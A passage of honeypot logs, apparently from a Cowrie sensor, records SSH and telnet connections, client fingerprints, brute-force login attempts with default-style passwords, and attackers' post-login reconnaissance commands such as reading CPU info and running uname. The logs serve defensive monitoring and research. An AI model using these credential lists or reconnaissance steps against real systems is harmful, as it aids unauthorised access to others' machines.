man-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.605391Z","src_ip":"159.203.92.129","session":"1f494dcfbf33","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123abc","message":"login attempt [admin/admin123abc] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.615364Z","src_ip":"159.203.92.129","session":"1f494dcfbf33","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.668819Z","src_ip":"159.203.92.129","session":"1f494dcfbf33","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.672492Z","src_ip":"159.203.92.129","session":"1f494dcfbf33","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.677041Z","src_ip":"159.203.92.129","session":"1f494dcfbf33","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.691164Z","src_ip":"159.203.92.129","session":"1f494dcfbf33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:55.697680Z","src_ip":"159.203.92.129","session":"1f494dcfbf33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.31157922744751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:59.074639Z","src_ip":"92.204.128.149","session":"dde6525cb731","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":41866,"dst_ip":"10.17.0.5","dst_port":22,"session":"87a7658906db","protocol":"ssh","message":"New connection: 74.91.200.154:41866 (10.17.0.5:22) [session: 87a7658906db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:32.631146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:32.635225Z","src_ip":"74.91.200.154","session":"87a7658906db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:32.849091Z","src_ip":"74.91.200.154","session":"87a7658906db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.211.134.123","src_port":57724,"dst_ip":"10.17.0.5","dst_port":23,"session":"d57b06ee3781","protocol":"telnet","message":"New connection: 115.211.134.123:57724 (10.17.0.5:23) [session: d57b06ee3781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:33.504915Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"test","message":"login attempt [mysql/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:33.763611Z","src_ip":"74.91.200.154","session":"87a7658906db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:34.986233Z","src_ip":"74.91.200.154","session":"87a7658906db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":52476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a112b6635f9c","protocol":"ssh","message":"New connection: 74.91.224.229:52476 (10.17.0.5:22) [session: a112b6635f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.568316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.576299Z","src_ip":"74.91.224.229","session":"a112b6635f9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.815741Z","src_ip":"74.91.224.229","session":"a112b6635f9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33410,"dst_ip":"159.203.135.109","dst_port":22,"session":"6201bcd70784","protocol":"ssh","message":"New connection: 159.203.92.129:33410 (159.203.135.109:22) [session: 6201bcd70784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.821743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.825503Z","src_ip":"159.203.92.129","session":"6201bcd70784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.829289Z","src_ip":"159.203.92.129","session":"6201bcd70784","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1990","message":"login attempt [admin/admin1990] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.837708Z","src_ip":"159.203.92.129","session":"6201bcd70784","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.880408Z","src_ip":"159.203.92.129","session":"6201bcd70784","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.883929Z","src_ip":"159.203.92.129","session":"6201bcd70784","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.887012Z","src_ip":"159.203.92.129","session":"6201bcd70784","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.897454Z","src_ip":"159.203.92.129","session":"6201bcd70784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:39.902306Z","src_ip":"159.203.92.129","session":"6201bcd70784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertz123","message":"login attempt [ubuntu/qwertz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:40.801723Z","src_ip":"74.91.224.229","session":"a112b6635f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:42.043660Z","src_ip":"74.91.224.229","session":"a112b6635f9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.334647417068481,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:46.839429Z","src_ip":"115.211.134.123","session":"d57b06ee3781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.232.29.15","src_port":60155,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1107a2f9d7c","protocol":"telnet","message":"New connection: 122.232.29.15:60155 (10.17.0.5:23) [session: e1107a2f9d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:51.470862Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.155.66.241","src_port":44665,"dst_ip":"10.17.0.5","dst_port":23,"session":"5807daedee7a","protocol":"telnet","message":"New connection: 179.155.66.241:44665 (10.17.0.5:23) [session: 5807daedee7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:52.648028Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.36.57.0","src_port":46828,"dst_ip":"159.203.135.109","dst_port":23,"session":"84e7b8f91a9f","protocol":"telnet","message":"New connection: 138.36.57.0:46828 (159.203.135.109:23) [session: 84e7b8f91a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:09:58.699296Z"}
{"eventid":"cowrie.session.closed","duration":13.449196100234985,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:06.097099Z","src_ip":"179.155.66.241","session":"5807daedee7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.024452209472656,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:08.495247Z","src_ip":"122.232.29.15","session":"e1107a2f9d7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36044,"dst_ip":"159.203.135.109","dst_port":22,"session":"869a1612bcdb","protocol":"ssh","message":"New connection: 159.203.92.129:36044 (159.203.135.109:22) [session: 869a1612bcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:26.385755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:26.443928Z","src_ip":"159.203.92.129","session":"869a1612bcdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:26.448032Z","src_ip":"159.203.92.129","session":"869a1612bcdb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2018","message":"login attempt [admin/admin2018] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:27.019886Z","src_ip":"159.203.92.129","session":"869a1612bcdb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:27.218316Z","src_ip":"159.203.92.129","session":"869a1612bcdb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:27.221862Z","src_ip":"159.203.92.129","session":"869a1612bcdb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:27.225849Z","src_ip":"159.203.92.129","session":"869a1612bcdb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:27.346343Z","src_ip":"159.203.92.129","session":"869a1612bcdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:27.353048Z","src_ip":"159.203.92.129","session":"869a1612bcdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":47594,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a06333440a","protocol":"ssh","message":"New connection: 74.91.200.154:47594 (10.17.0.5:22) [session: 92a06333440a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:38.728379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:38.733263Z","src_ip":"74.91.200.154","session":"92a06333440a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:38.952496Z","src_ip":"74.91.200.154","session":"92a06333440a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":34100,"dst_ip":"10.17.0.5","dst_port":22,"session":"abc5b23a78e6","protocol":"ssh","message":"New connection: 74.91.224.229:34100 (10.17.0.5:22) [session: abc5b23a78e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:39.180404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:10:39.184839Z","src_ip":"74.91.224.229","session":"abc5b23a78e6","protocol":"ssh"}
